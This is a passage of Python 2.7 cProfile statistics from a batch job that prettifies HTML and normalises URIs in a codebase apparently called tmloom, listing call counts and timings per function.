/usr/lib/python2.7/subprocess.py:1387(wait) 355694 0.095 0.000 0.115 0.000 /home2/rack/ch_tools/ch_urinorm2.py:645(unormIpv4) 34674 0.095 0.000 0.269 0.000 /usr/lib/python2.7/subprocess.py:1452(close_unregister_and_remove) 355694 0.092 0.000 0.111 0.000 /home2/rack/ch_tools/ch_urinorm2.py:673(unormTcpUdpPort) 355694 0.091 0.000 0.112 0.000 /home2/rack/ch_tools/ch_urinorm2.py:659(unormDomain) 21780 0.091 0.000 0.091 0.000 {_sre.compile} 1242688 0.090 0.000 0.090 0.000 {method 'start' of '_sre.SRE_Match' objects} 355694 0.090 0.000 0.109 0.000 /home2/rack/ch_tools/ch_urinorm2.py:666(unormRightIpBracket) 50181 0.089 0.000 1.214 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1081(normalizeFunnyCharsInFragmentIdentifier) 60677 0.088 0.000 0.575 0.000 /usr/lib/python2.7/subprocess.py:1173(pipe_cloexec) 417077 0.088 0.000 0.088 0.000 {method 'replace' of 'str' objects} 34674 0.088 0.000 0.131 0.000 /usr/lib/python2.7/subprocess.py:1448(register_and_append) 17336 0.087 0.000 157.534 0.009 /usr/lib/python2.7/subprocess.py:769(communicate) 61147 0.085 0.000 0.085 0.000 {method 'release' of 'thread.lock' objects} 8666 0.080 0.000 37.343 0.004 /home2/rack/ch_tools/walshDtd.py:2276(modifyAttValues) 34235 0.080 0.000 0.853 0.000 /persist/home2/rack/tmloom/lib/utils.py:8181(longestDetailREFirstDisregardingGroupNames) 21780 0.080 0.000 20.238 0.001 /usr/lib/python2.7/sre_parse.py:706(parse) 21780 0.079 0.000 1.468 0.000 /usr/lib/python2.7/sre_compile.py:433(_compile_info) 151196 0.079 0.000 0.428 0.000 /home2/rack/tmloom/lib/pretty.py:851(fixIdAttValues) 81486 0.078 0.000 0.078 0.000 {method 'acquire' of '_multiprocessing.SemLock' objects} 8666 0.076 0.000 34339.581 3.963 /home2/rack/tmloom/lib/pretty.py:818(queueUpTask) 17336 0.076 0.000 0.101 0.000 /usr/lib/python2.7/subprocess.py:755(__del__) 177847 0.075 0.000 0.092 0.000 /home2/rack/ch_tools/ch_urinorm2.py:694(unormQueryWithNormalizedFunnyChars) 8667 0.074 0.000 0.673 0.000 /home2/rack/tmloom/lib/pretty.py:4178(_writeSitemapInfo) 20/13 0.072 0.004 0.138 0.011 {__import__} 40748 0.071 0.000 0.087 0.000 /usr/lib/python2.7/threading.py:300(_is_owned) 231030 0.070 0.000 0.122 0.000 /usr/lib/python2.7/sre_parse.py:85(closegroup) 8666 0.070 0.000 0.077 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1301(close) 1 0.069 0.069 0.336 0.336 /persist/home2/rack/tmloom/lib/utils.py:20() 355694 0.067 0.000 0.067 0.000 /home2/rack/ch_tools/ch_urinorm2.py:627(unormScheme) 8666 0.066 0.000 1.018 0.000 /home2/rack/tmloom/lib/pretty.py:4139(putSitemapItemOnQueue) 1 0.065 0.065 34394.630 34394.630 /home2/rack/tmloom/lib/pretty.py:2151(prettifyHtmls) 251430 0.064 0.000 0.064 0.000 {method 'remove' of 'list' objects} 3046 0.062 0.000 0.428 0.000 /home2/rack/tmloom/lib/pretty.py:3357(detailFunc) 177847 0.061 0.000 0.072 0.000 /home2/rack/ch_tools/ch_urinorm2.py:687(unormQuery) 1 0.060 0.060 1.288 1.288 /home2/rack/tmloom/lib/batch.py:8() 2518 0.058 0.000 0.067 0.000 /home2/rack/ch_tools/ch_pyRXPU.py:354(parserParamsAsKeywordArguments) 8666 0.057 0.000 0.822 0.000 /home2/rack/tmloom/lib/insertSemiPersistentIds.py:771(Str2hex8) 322135 0.056 0.000 0.087 0.000 /usr/lib/python2.7/sre_compile.py:101(fixup) 168872 0.055 0.000 0.078 0.000 /home2/rack/tmloom/lib/pretty.py:3732(cmpMOsLastToFirst) 22511 0.054 0.000 0.079 0.000 /home2/rack/ch_tools/ch_pyRXPU.py:1035(leftSiblings) 65800 0.053 0.000 0.053 0.000 /usr/lib/python2.7/codecs.py:413(__init__) 214 0.051 0.000 0.061 0.000 {posix.listdir} 8666 0.050 0.000 0.197 0.000 /usr/lib/python2.7/shutil.py:93(copystat) 8666 0.050 0.000 0.050 0.000 {posix.utime} 3040 0.046 0.000 0.105 0.000 /home2/rack/tmloom/lib/pretty.py:3122(tweakStartAndEndOfHtml) 2518 0.046 0.000 75.598 0.030 /home2/rack/ch_tools/ch_pyRXPU.py:1258(tree2Xml) 65800 0.045 0.000 0.045 0.000 {_codecs.lookup} 37515 0.045 0.000 0.045 0.000 {hasattr} 8666 0.044 0.000 56.123 0.006 /home2/rack/tmloom/lib/ch_elementtree.py:995(XML) 8666 0.044 0.000 2.505 0.000 /usr/lib/python2.7/shutil.py:122(copy2) 43354 0.042 0.000 0.042 0.000 {method 'remove' of 'set' objects} 1 0.042 0.042 0.042 0.042 {method 'recv' of '_socket.socket' objects} 8668 0.041 0.000 0.041 0.000 {pyexpat.ParserCreate} 2618 0.041 0.000 0.163 0.000 /home2/rack/ch_tools/ch_globalItem.py:134(getGlobalItemMetaDict) 81168 0.041 0.000 0.041 0.000 {method 'rfind' of 'unicode' objects} 1 0.041 0.041 0.699 0.699 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:17() 2572 0.040 0.000 30.811 0.012 /persist/home2/rack/tmloom/lib/utils.py:65(initGlobalItem) 2 0.040 0.020 0.040 0.020 {method 'connect' of '_socket.socket' objects} 81166 0.039 0.000 0.039 0.000 {method 'rstrip' of 'unicode' objects} 2462 0.039 0.000 0.048 0.000 /home2/rack/tmloom/lib/pretty.py:550(_tweakTaxmapifiedUrisDict) 21780 0.039 0.000 10.071 0.000 /usr/lib/python2.7/sre_compile.py:552(_code) 81501 0.038 0.000 0.038 0.000 {method 'acquire' of 'thread.lock' objects} 1 0.037 0.037 1.083 1.083 /home2/rack/tmloom/lib/irs3.py:102() 177020 0.037 0.000 0.051 0.000 /home2/rack/tmloom/lib/pretty.py:3728(handleSpaceChunks) 186172 0.036 0.000 0.036 0.000 /usr/lib/python2.7/stat.py:24(S_IFMT) 8666 0.036 0.000 0.102 0.000 /usr/lib/python2.7/shutil.py:54(_samefile) 8666 0.035 0.000 16.624 0.002 /usr/lib/python2.7/codecs.py:591(readlines) 169870 0.035 0.000 0.035 0.000 {method 'lower' of 'str' objects} 10292 0.035 0.000 0.038 0.000 /home2/rack/ch_tools/walshDtd.py:132(start_element) 17336 0.035 0.000 0.035 0.000 {method 'count' of 'list' objects} 17336 0.035 0.000 0.053 0.000 /usr/lib/python2.7/subprocess.py:1346(_handle_exitstatus) 1 0.034 0.034 0.035 0.035 /usr/lib/python2.7/pdb.py:7() 33373 0.034 0.000 0.034 0.000 {method 'split' of 'unicode' objects} 34674 0.034 0.000 0.034 0.000 {built-in method unregister} 453131 0.034 0.000 0.034 0.000 {method 'end' of '_sre.SRE_Match' objects} 332753 0.033 0.000 0.033 0.000 {_sre.getlower} 43560 0.032 0.000 0.043 0.000 /usr/lib/python2.7/sre_compile.py:546(isstring) 5311 0.032 0.000 0.032 0.000 {method 'strip' of 'unicode' objects} 8666 0.032 0.000 0.260 0.000 /usr/lib/python2.7/shutil.py:46(copyfileobj) 1 0.031 0.031 0.045 0.045 /home2/rack/tmloom/lib/axy.py:3() 1 0.030 0.030 0.094 0.094 /home2/rack/ch_tools/ch_pexpect.py:65() 17336 0.030 0.000 0.030 0.000 /usr/lib/python2.7/subprocess.py:458(_cleanup) 8666 0.030 0.000 0.030 0.000 {posix.chmod} 14824 0.030 0.000 0.030 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1238(_default) 1 0.029 0.029 0.061 0.061 /home2/rack/ch_tools/ch_urinorm2.py:8() 105 0.028 0.000 0.028 0.000 {posix.rmdir} 34674 0.028 0.000 0.028 0.000 {built-in method register} 1 0.028 0.028 1.111 1.111 /home2/rack/tmloom/lib/expts3.py:196() 8031 0.028 0.000 0.032 0.000 /home2/rack/tmloom/lib/pretty.py:4125(fixMetaCharsetElement) 71482 0.028 0.000 0.028 0.000 {method 'translate' of 'str' objects} 2518 0.028 0.000 1103.569 0.438 /home2/rack/ch_tools/ch_pyRXPU.py:828(mungeTree) 5154 0.027 0.000 0.113 0.000 /usr/lib/python2.7/posixpath.py:358(abspath) 135155 0.026 0.000 0.026 0.000 /usr/lib/python2.7/sre_parse.py:145(__setitem__) 15398/1117 0.026 0.000 0.089 0.000 /usr/lib/python2.7/copy.py:226(_deepcopy_list) 17336 0.026 0.000 0.026 0.000 /usr/lib/python2.7/subprocess.py:1360(_internal_poll) 177847 0.025 0.000 0.025 0.000 /home2/rack/ch_tools/ch_urinorm2.py:954(normRightIpBracket) 10292 0.025 0.000 0.027 0.000 /home2/rack/ch_tools/walshDtd.py:313(end_element) 50181 0.025 0.000 0.182 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1159(quoteFragmentIdentifierString) 1 0.022 0.022 0.043 0.043 /usr/lib/python2.7/multiprocessing/__init__.py:90(Manager) 1 0.022 0.022 0.771 0.771 build/bdist.linux-x86_64/egg/pyRXPU.py:1(__bootstrap__) 43341 0.022 0.000 0.022 0.000 {method 'update' of 'set' objects} 1 0.021 0.021 0.357 0.357 /persist/home2/rack/tmloom/lib/el.py:7() 3 0.021 0.007 0.021 0.007 {method 'get_data' of 'zipimport.zipimporter' objects} 118718 0.021 0.000 0.021 0.000 {max} 1 0.020 0.020 1.005 1.005 /home2/rack/tmloom/lib/irs_ingestinstances.py:3() 1 0.020 0.020 1.135 1.135 /home2/rack/tmloom/lib/topicdb.py:24() 93 0.020 0.000 0.020 0.000 {posix.mkdir} 104020 0.018 0.000 0.018 0.000 {method 'fileno' of 'file' objects} 17336 0.018 0.000 0.018 0.000 {select.poll} 65800 0.018 0.000 0.018 0.000 /usr/lib/python2.7/codecs.py:340(__init__) 34674 0.017 0.000 0.017 0.000 {method 'pop' of 'dict' objects} 5036 0.017 0.000 0.133 0.000 /home2/rack/ch_tools/ch_pyRXPU.py:632(setWorkFilePaths) 21781 0.017 0.000 0.052 0.000 /usr/lib/python2.7/sre_parse.py:189(__init__) 1 0.017 0.017 0.025 0.025 /usr/lib/python2.7/multiprocessing/__init__.py:44() 1 0.017 0.017 1.226 1.226 /home2/rack/tmloom/lib/premunge.py:9() 8771 0.016 0.000 0.016 0.000 /usr/lib/python2.7/UserDict.py:35(__getitem__) 1 0.016 0.016 0.128 0.128 /home2/rack/ch_tools/ch_util.py:3() 8666 0.015 0.000 0.022 0.000 /home2/rack/tmloom/lib/pretty.py:912(noSuffixFunc) 1 0.015 0.015 34396.961 34396.961 /home2/rack/tmloom/lib/tmloom2.py:22(main) 5141 0.015 0.000 0.015 0.000 {posix.getcwd} 8666 0.015 0.000 16.639 0.002 /usr/lib/python2.7/codecs.py:692(readlines) 4051 0.015 0.000 0.019 0.000 /home2/rack/ch_tools/ch_pyRXPU.py:1008(ancestors) 1 0.014 0.014 0.015 0.015 /usr/lib/python2.7/SocketServer.py:124() 35891 0.014 0.000 0.026 0.000 /home2/rack/ch_tools/walshDtd.py:44(dictionaryCmp) 56 0.014 0.000 13.329 0.238 /home2/rack/ch_tools/ch_globalItem.py:274(_saveGlobalItem) 1 0.014 0.014 0.181 0.181 /home2/rack/tmloom/lib/pretty.py:6() 1 0.014 0.014 0.020 0.020 /home2/rack/tmloom/lib/parse.py:8() 1 0.014 0.014 0.032 0.032 /usr/lib/python2.7/mimetools.py:4() 1 0.014 0.014 0.031 0.031 /usr/lib/python2.7/urllib.py:25() 8666 0.014 0.000 55.769 0.006 /home2/rack/tmloom/lib/ch_elementtree.py:1292(feed) 1 0.014 0.014 0.016 0.016 /usr/lib/python2.7/shutil.py:7() 1 0.013 0.013 0.016 0.016 /usr/lib/python2.7/multiprocessing/managers.py:36() 81486 0.013 0.000 0.013 0.000 {method 'release' of '_multiprocessing.SemLock' objects} 1 0.013 0.013 0.795 0.795 /home2/rack/ch_tools/ch_pyRXPU.py:13() 1 0.013 0.013 0.013 0.013 /usr/lib/python2.7/calendar.py:8() 8666 0.013 0.000 0.014 0.000 /usr/lib/python2.7/stat.py:52(S_ISFIFO) 21780 0.013 0.000 0.013 0.000 /usr/lib/python2.7/sre_parse.py:67(__init__) 3039 0.012 0.000 0.420 0.000 /home2/rack/tmloom/lib/pretty.py:83(writeReport) 13294 0.012 0.000 0.012 0.000 {method 'split' of 'str' objects} 1 0.012 0.012 0.061 0.061 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/requirements.py:4() 1 0.012 0.012 0.012 0.012 /usr/lib/python2.7/socket.py:47() 3039 0.012 0.000 0.331 0.000 /home2/rack/tmloom/lib/pretty.py:794(_writeCreatedAutolinksReport) 21804 0.012 0.000 0.012 0.000 {method 'items' of 'dict' objects} 5036 0.012 0.000 0.015 0.000 /usr/lib/python2.7/sre_parse.py:822(expand_template) 40744 0.012 0.000 0.012 0.000 {method 'append' of 'collections.deque' objects} 14824 0.012 0.000 0.041 0.000 /build/python2.7-M_HuAO/python2.7-2.7.12/Modules/pyexpat.c:839(DefaultHandlerExpand) 1 0.011 0.011 0.026 0.026 /usr/lib/python2.7/BaseHTTPServer.py:69() 4051 0.011 0.000 0.024 0.000 /home2/rack/tmloom/lib/pretty.py:431(_tweakPageNumberMarkersDict) 2573 0.011 0.000 31.079 0.012 /home2/rack/ch_tools/ch_globalItem.py:19(initGlobalItem) 2519 0.011 0.000 21.904 0.009 /persist/home2/rack/tmloom/lib/utils.py:8545(getUrlMapperDict) 1 0.011 0.011 0.138 0.138 /home2/rack/tmloom/lib/pretty.py:1885(setUpTaxmapificationOfHrefs) 8679 0.011 0.000 0.543 0.000 /usr/lib/python2.7/codecs.py:684(read) 98198 0.011 0.000 0.011 0.000 /home2/rack/tmloom/lib/pretty.py:1830(lengthCmp) 1 0.011 0.011 0.034 0.034 /usr/lib/python2.7/email/utils.py:8() 7327 0.010 0.000 0.024 0.000 /home2/rack/tmloom/lib/pretty.py:613(_tweakUnaccountedforUrisDict) 1 0.010 0.010 0.010 0.010 /usr/lib/python2.7/pty.py:9() 2618 0.010 0.000 0.103 0.000 /home2/rack/ch_tools/ch_globalItem.py:114(getGlobalItemName) 1 0.010 0.010 0.010 0.010 /usr/lib/python2.7/encodings/idna.py:3() 2 0.010 0.005 0.036 0.018 /home2/rack/ch_tools/walshDtd.py:523(dtdDictToDtdString) 1 0.009 0.009 0.032 0.032 /home2/rack/tmloom/lib/instpann.py:33() 8666 0.009 0.000 0.061 0.000 /usr/lib/python2.7/posixpath.py:153(samefile) 1 0.009 0.009 0.010 0.010 /usr/lib/python2.7/random.py:42() 8666 0.009 0.000 0.009 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1059(__init__) 1 0.009 0.009 0.022 0.022 /usr/lib/python2.7/email/_parseaddr.py:10() 1 0.009 0.009 0.018 0.018 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/specifiers.py:4() 5740/164 0.009 0.000 0.010 0.000 /home2/rack/ch_tools/walshDtd.py:448(formatContentModelGroup) 1 0.009 0.009 0.044 0.044 /usr/lib/python2.7/email/charset.py:6() 1 0.009 0.009 0.015 0.015 /usr/lib/python2.7/sqlite3/__init__.py:24() 3048 0.008 0.000 0.011 0.000 /home2/rack/tmloom/lib/pretty.py:3124(tagsAndComments) 17337 0.008 0.000 0.008 0.000 {posix.WIFSIGNALED} 1 0.008 0.008 0.019 0.019 /usr/lib/python2.7/tempfile.py:21() 20524 0.008 0.000 0.014 0.000 /home2/rack/ch_tools/walshDtd.py:423(char_data) 1 0.007 0.007 0.008 0.008 /usr/lib/python2.7/glob.py:3() 20400 0.007 0.000 0.007 0.000 /usr/lib/python2.7/threading.py:82(_note) 1 0.007 0.007 0.007 0.007 /usr/lib/python2.7/multiprocessing/util.py:35() 1 0.007 0.007 0.042 0.042 /usr/lib/python2.7/urllib2.py:92() 5036 0.007 0.000 0.021 0.000 /usr/lib/python2.7/re.py:290(filter) 1 0.007 0.007 0.058 0.058 /usr/lib/python2.7/email/feedparser.py:22() 8666 0.007 0.000 0.007 0.000 {hex} 17337 0.007 0.000 0.007 0.000 {posix.WEXITSTATUS} 1 0.007 0.007 0.007 0.007 /usr/lib/python2.7/multiprocessing/connection.py:429(answer_challenge) 5036 0.006 0.000 0.014 0.000 /usr/lib/python2.7/re.py:284(_subx) 3040 0.006 0.000 0.010 0.000 /home2/rack/tmloom/lib/pretty.py:3174(finalCleanup) 1 0.006 0.006 0.051 0.051 /usr/lib/python2.7/email/message.py:7() 1 0.006 0.006 0.006 0.006 /usr/lib/python2.7/sqlite3/dbapi2.py:24() 35/13 0.006 0.000 0.046 0.004 /usr/lib/python2.7/os.py:209(walk) 7327 0.006 0.000 0.030 0.000 /home2/rack/tmloom/lib/pretty.py:584(tweakUnaccountedforUrisDict) 219 0.006 0.000 0.006 0.000 {method 'clear' of 'dict' objects} 34733 0.005 0.000 0.005 0.000 {globals} 1 0.005 0.005 0.006 0.006 /usr/lib/python2.7/subprocess.py:389() 3040 0.005 0.000 0.011 0.000 /home2/rack/tmloom/lib/pretty.py:742(_tweakAutolinksDict) 5174 0.005 0.000 0.007 0.000 /usr/lib/python2.7/posixpath.py:52(isabs) 1 0.005 0.005 0.040 0.040 /home2/rack/ch_tools/ch_show.py:6() 8853 0.005 0.000 0.019 0.000 /usr/lib/python2.7/posixpath.py:132(islink) 3073 0.005 0.000 0.038 0.000 /persist/home2/rack/tmloom/lib/utils.py:5558(xmlifyAttributeValue) 2656 0.005 0.000 0.005 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1127(_quoteUriCharacterFunc) 294 0.004 0.000 0.011 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/version.py:198(__init__) 8680 0.004 0.000 0.004 0.000 {posix.getpid} 17336 0.004 0.000 0.004 0.000 {gc.isenabled} 5036 0.004 0.000 0.008 0.000 /usr/lib/python2.7/re.py:264(_compile_repl) 17464 0.004 0.000 0.004 0.000 /usr/lib/python2.7/sre_parse.py:216(tell) 8666 0.004 0.000 0.004 0.000 {method 'zfill' of 'str' objects} 1 0.004 0.004 34394.644 34394.644 /home2/rack/tmloom/lib/pretty.py:2129(prettifyHtmls_in_Tax_Map) 8816 0.003 0.000 0.003 0.000 {iter} 4051 0.003 0.000 0.027 0.000 /home2/rack/tmloom/lib/pretty.py:402(tweakPageNumberMarkersDict) 2 0.003 0.002 0.003 0.002 {time.sleep} 17336 0.003 0.000 0.003 0.000 {posix.WIFEXITED} 8666 0.003 0.000 0.003 0.000 /usr/lib/python2.7/stat.py:21(S_IMODE) 2 0.003 0.001 6.429 3.215 /home2/rack/ch_tools/walshDtd.py:1690(tweakDtd) 2456 0.003 0.000 0.050 0.000 /home2/rack/tmloom/lib/pretty.py:521(tweakTaxmapifiedUrisDict) 294 0.003 0.000 0.003 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/version.py:343(_cmpkey) 3040 0.003 0.000 0.014 0.000 /home2/rack/tmloom/lib/pretty.py:705(tweakAutolinksDict) 2860/99 0.003 0.000 0.004 0.000 /home2/rack/ch_tools/walshDtd.py:964(changeCaseOfGisInModelOrModelGroup) 188 0.003 0.000 0.454 0.002 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1959(find_on_path) 4 0.003 0.001 0.005 0.001 /usr/lib/python2.7/multiprocessing/__init__.py:213(Queue) 2902/89 0.003 0.000 0.007 0.000 /home2/rack/ch_tools/walshDtd.py:874(surveyModelOrModelGroup) 8852 0.002 0.000 0.004 0.000 /usr/lib/python2.7/stat.py:55(S_ISLNK) 1 0.002 0.002 0.002 0.002 /usr/lib/python2.7/copy.py:51() 10710 0.002 0.000 0.002 0.000 {method 'strip' of 'str' objects} 1 0.002 0.002 0.002 0.002 /usr/lib/python2.7/collections.py:13() 1 0.002 0.002 0.002 0.002 /usr/lib/python2.7/multiprocessing/connection.py:35() 6252 0.002 0.000 0.002 0.000 /home2/rack/ch_tools/walshDtd.py:624(attValueSpecString) 1742 0.002 0.000 0.002 0.000 /home2/rack/ch_tools/ch_pyRXPU.py:1141(xmlifyDataFunc) 8666 0.002 0.000 0.002 0.000 /persist/home2/rack/tmloom/lib/utils.py:4952(__init__) 1 0.002 0.002 0.029 0.029 {_socket.getaddrinfo} 1 0.002 0.002 0.060 0.060 /usr/lib/python2.7/email/parser.py:7() 2812 0.002 0.000 0.005 0.000 /home2/rack/ch_tools/walshDtd.py:798(addGiToSurvey) 6 0.002 0.000 0.002 0.000 /usr/lib/python2.7/collections.py:305(namedtuple) 1 0.002 0.002 0.004 0.004 /usr/lib/python2.7/ssl.py:90() 2018 0.002 0.000 0.002 0.000 /persist/home2/rack/tmloom/lib/utils.py:4933(xmlifyDataFunc) 17336 0.002 0.000 0.002 0.000 {gc.disable} 8666 0.001 0.000 0.001 0.000 /home2/rack/tmloom/lib/ch_elementtree.py:1075(close) 611 0.001 0.000 0.003 0.000 /home2/rack/tmloom/lib/pretty.py:372(_tweakNonIrsDotGovUrisDict) 1 0.001 0.001 0.002 0.002 /usr/lib/python2.7/multiprocessing/queues.py:35() 85 0.001 0.000 0.001 0.000 {posix.rename} 3040 0.001 0.000 0.001 0.000 /home2/rack/tmloom/lib/pretty.py:3098(__init__) 2 0.001 0.001 0.002 0.001 /home2/rack/ch_tools/walshDtd.py:1291(makeAttCharacterizationDict) 86 0.001 0.000 0.001 0.000 {method 'splitlines' of 'str' objects} 68 0.001 0.000 0.001 0.000 {_io.open} 32 0.001 0.000 0.010 0.000 /home2/rack/tmloom/lib/pretty.py:3772(urlMapperTriggerFunc) 603 0.001 0.000 0.004 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2165(yield_lines) 2 0.001 0.001 0.112 0.056 /home2/rack/ch_tools/walshDtd.py:1233(adjustAttributeValuesInDtdDict) 150 0.001 0.000 0.428 0.003 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2356(from_location) 1 0.001 0.001 0.034 0.034 /usr/lib/python2.7/httplib.py:69() 848 0.001 0.000 0.001 0.000 /home2/rack/ch_tools/ch_urinorm2.py:1096(_unquoteUriCharacterFunc) 294 0.001 0.000 0.014 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1381(safe_version) 671 0.001 0.000 0.427 0.001 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2501(_get_metadata) 1 0.001 0.001 0.035 0.035 /usr/lib/python2.7/email/base64mime.py:28() 28 0.001 0.000 0.030 0.001 /home2/rack/tmloom/lib/pretty.py:3788(urlMapperDetailFunc) 4 0.001 0.000 0.001 0.000 /usr/lib/python2.7/multiprocessing/managers.py:885(MakeProxyType) 61 0.001 0.000 0.011 0.000 /home2/rack/ch_tools/walshDtd.py:1442(normalizeContentModelsXMLishly) 150 0.001 0.000 0.002 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:738(add) 1 0.001 0.001 0.002 0.002 /home2/rack/tmloom/lib/rules3.py:3() 294 0.001 0.000 0.002 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/version.py:236(__str__) 68 0.001 0.000 0.183 0.003 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1859(get_metadata) 1130 0.001 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/version.py:207() 7 0.001 0.000 0.001 0.000 {compile} 15 0.001 0.000 4.810 0.321 /home2/rack/ch_tools/walshDtd.py:1644(writeAuditFile) 1 0.001 0.001 0.001 0.001 /home2/rack/ch_tools/ch_globalItem.py:7() 1 0.001 0.001 0.009 0.009 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:58() 2 0.001 0.000 0.108 0.054 /home2/rack/ch_tools/walshDtd.py:119(walshDtdToDtdDict) 85 0.001 0.000 0.228 0.003 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1579(_get) 3080 0.001 0.000 0.001 0.000 /usr/lib/python2.7/re.py:298(_pickle) 75 0.001 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2587(insert_on) 450 0.001 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2415(key) 42 0.001 0.000 15.649 0.373 /home2/rack/ch_tools/ch_show.py:195(show) 150 0.001 0.000 0.008 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2344(__init__) 45 0.001 0.000 13.322 0.296 /home2/rack/ch_tools/ch_globalItem.py:70(saveGlobalItem) 45 0.001 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2837(_get_mro) 231 0.001 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:805(__init__) 148 0.001 0.000 0.417 0.003 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2328(_version_from_file) 486 0.001 0.000 0.001 0.000 /home2/rack/ch_tools/ch_globalItem.py:322(findLastVersionFunc1) 1 0.001 0.001 0.002 0.002 /home2/rack/tmloom/lib/topclass.py:12() 2096 0.001 0.000 0.001 0.000 /usr/lib/python2.7/sre_parse.py:139(__delitem__) 611 0.000 0.000 0.004 0.000 /home2/rack/tmloom/lib/pretty.py:343(tweakNonIrsDotGovUrisDict) 526 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2542(__getattr__) 70 0.000 0.000 0.001 0.000 /usr/lib/python2.7/sre_compile.py:416(_bytes_to_codes) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/pickle.py:27() 1 0.000 0.000 0.046 0.046 /home2/rack/ch_tools/walshDtd.py:993(adjustCaseOfGisInDtdDict) 44 0.000 0.000 0.458 0.010 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:663(add_entry) 1 0.000 0.000 0.004 0.004 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/version.py:4() 148 0.000 0.000 0.418 0.003 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2675(_reload_version) 1 0.000 0.000 0.000 0.000 {function seed at 0x7fa186b120c8} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/email/message.py:92(Message) 1 0.000 0.000 0.001 0.001 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/six.py:23() 1130 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/version.py:244() 2737 0.000 0.000 0.000 0.000 {method 'upper' of 'str' objects} 152 0.000 0.000 0.000 0.000 /usr/lib/python2.7/genericpath.py:93(_splitext) 481 0.000 0.000 0.000 0.000 {built-in method __new__ of type object at 0x906bc0} 107 0.000 0.000 0.000 0.000 {method '__reduce_ex__' of 'object' objects} 213 0.000 0.000 0.009 0.000 /usr/lib/python2.7/genericpath.py:23(exists) 148 0.000 0.000 0.408 0.003 {next} 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/__init__.py:4() 444 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2333() 93 0.000 0.000 0.021 0.000 /usr/lib/python2.7/os.py:136(makedirs) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/xml/parsers/expat.py:2() 1 0.000 0.000 0.135 0.135 /home2/rack/ch_tools/walshDtd.py:1320(sgmlDtdToXmlDtd) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/getpass.py:18() 12 0.000 0.000 0.000 0.000 /usr/lib/python2.7/multiprocessing/synchronize.py:74(__init__) 106/2 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:969(_parseNoCache) 1 0.000 0.000 0.001 0.001 /home2/rack/tmloom/lib/xsltmap.py:15() 107 0.000 0.000 0.001 0.000 /usr/lib/python2.7/copy.py:306(_reconstruct) 213 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1528(_fn) 1767 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:2142(_normalize_cached) 2 0.000 0.000 0.044 0.022 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1780(_is_current) 68 0.000 0.000 0.183 0.003 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1872(get_metadata_lines) 91 0.000 0.000 0.001 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/pyparsing.py:2266(__init__) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/zipfile.py:433(_GenerateCRCTable) 146 0.000 0.000 0.013 0.000 /usr/lib/python2.7/genericpath.py:34(isfile) 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/hashlib.py:56() 125 0.000 0.000 0.010 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/__init__.py:1462(has_metadata) 1 0.000 0.000 0.006 0.006 /home2/rack/tmloom/lib/ch_elementtree.py:79() 882 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/pkg_resources/_vendor/packaging/version.py:298(_parse_letter_version) 68 0.000 0.000 0.001 0.000 /usr/lib/python2.7/codecs.py:311(decode) 959 0.000 0.000 0.000 0.000 {unichr} 1 0.000 0.000 0.513 0.513 :5() 1 0.000 0.000 0.000 0.000 /usr/lib/python2.7/dist-packages/Levenshtein/__init__.py:1() 17 0.000 0.000 0.000 0.000 {dir} 485 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urllib.py:1217() 1 0.000 0.000 0.516 0.516 :2() 485 0.000 0.000 0.000 0.000 /usr/lib/python2.7/urlparse.py:332() 1 0.000 0.000 0.000 0.000 {imp.load_dynamic} 86 